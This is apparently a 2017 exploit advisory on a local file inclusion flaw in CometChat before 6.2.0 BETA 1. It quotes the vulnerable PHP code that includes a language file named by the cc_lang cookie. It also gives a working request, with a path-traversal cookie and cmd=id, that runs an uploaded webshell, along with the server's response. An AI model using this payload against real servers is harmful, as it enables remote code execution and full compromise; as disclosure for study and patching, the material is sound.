CometChat < 6.2.0 BETA 1 - Local File Inclusion

# Exploit Title: CometChat < v6.2.0 BETA 1 - Local File Inclusion
# Date: 2017-10-22
# Exploit Author: Luke Paris (Paradoxis) <[email protected]>
# Vendor Homepage: https://cometchat.com/
# Version: < 6.2.0 BETA 1
# Tested on: Ubuntu Linux 14.04
#
# --------------------------------------------------------------------------------------
#
# In versions of CometChat before version v6.2.0 BETA 1 a bug existed which allowed
# any unauthorised attacker to modify the include path of a php file by sending an
# HTTP request with a crafted 'cc_lang' cookie.
#
# If successfully exploited an attacker could leverage this bug to execute arbitrary PHP
# code which resides somewhere else on the server (eg: uploaded via an upload form).
#
# Due to the fact that this bug resides in the configuration file of the applications
# it might be possible that future versions of the chat application still contain the
# file inclusion bug as the script might have been re-applied after an update.
#
# --------------------------------------------------------------------------------------
#
# The vulnerability resides in the application's configuration file, near the beginning 
# of the script the following code block is executed, this is where an attacker is able 
# to inject a string into the cc_lang cookie.

/* COOKIE */
$cookiePrefix = 'cc_';

/* LANGUAGE START */
$lang = 'en';

/* LANGUAGE END */ 
if (!empty($_COOKIE[$cookiePrefix."lang"])) {
    $lang = $_COOKIE[$cookiePrefix."lang"];
}

# Near the end of the configuration file, the following code block is executed.
# This is where the exploit is triggered by not sanitising the $lang variable properly.

include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.'en.php';
if (file_exists(dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php')) {
    include dirname(__FILE__).DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR.$lang.'.php';          
}

# The following example demonstrates how an attacker could leverage this bug to gain control 
# over the server, which could result in a full server compromise (assuming the attacker has
# already managed to write a webshell to the servers' disk somehow): 

GET /cometchat/config.php?cmd=id HTTP/1.1
Host: example.com
Connection: keep-alive
Cookie: cc_lang=../../uploads/evil

HTTP/1.1 200 OK
Host: example.com
Connection: close
Content-type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)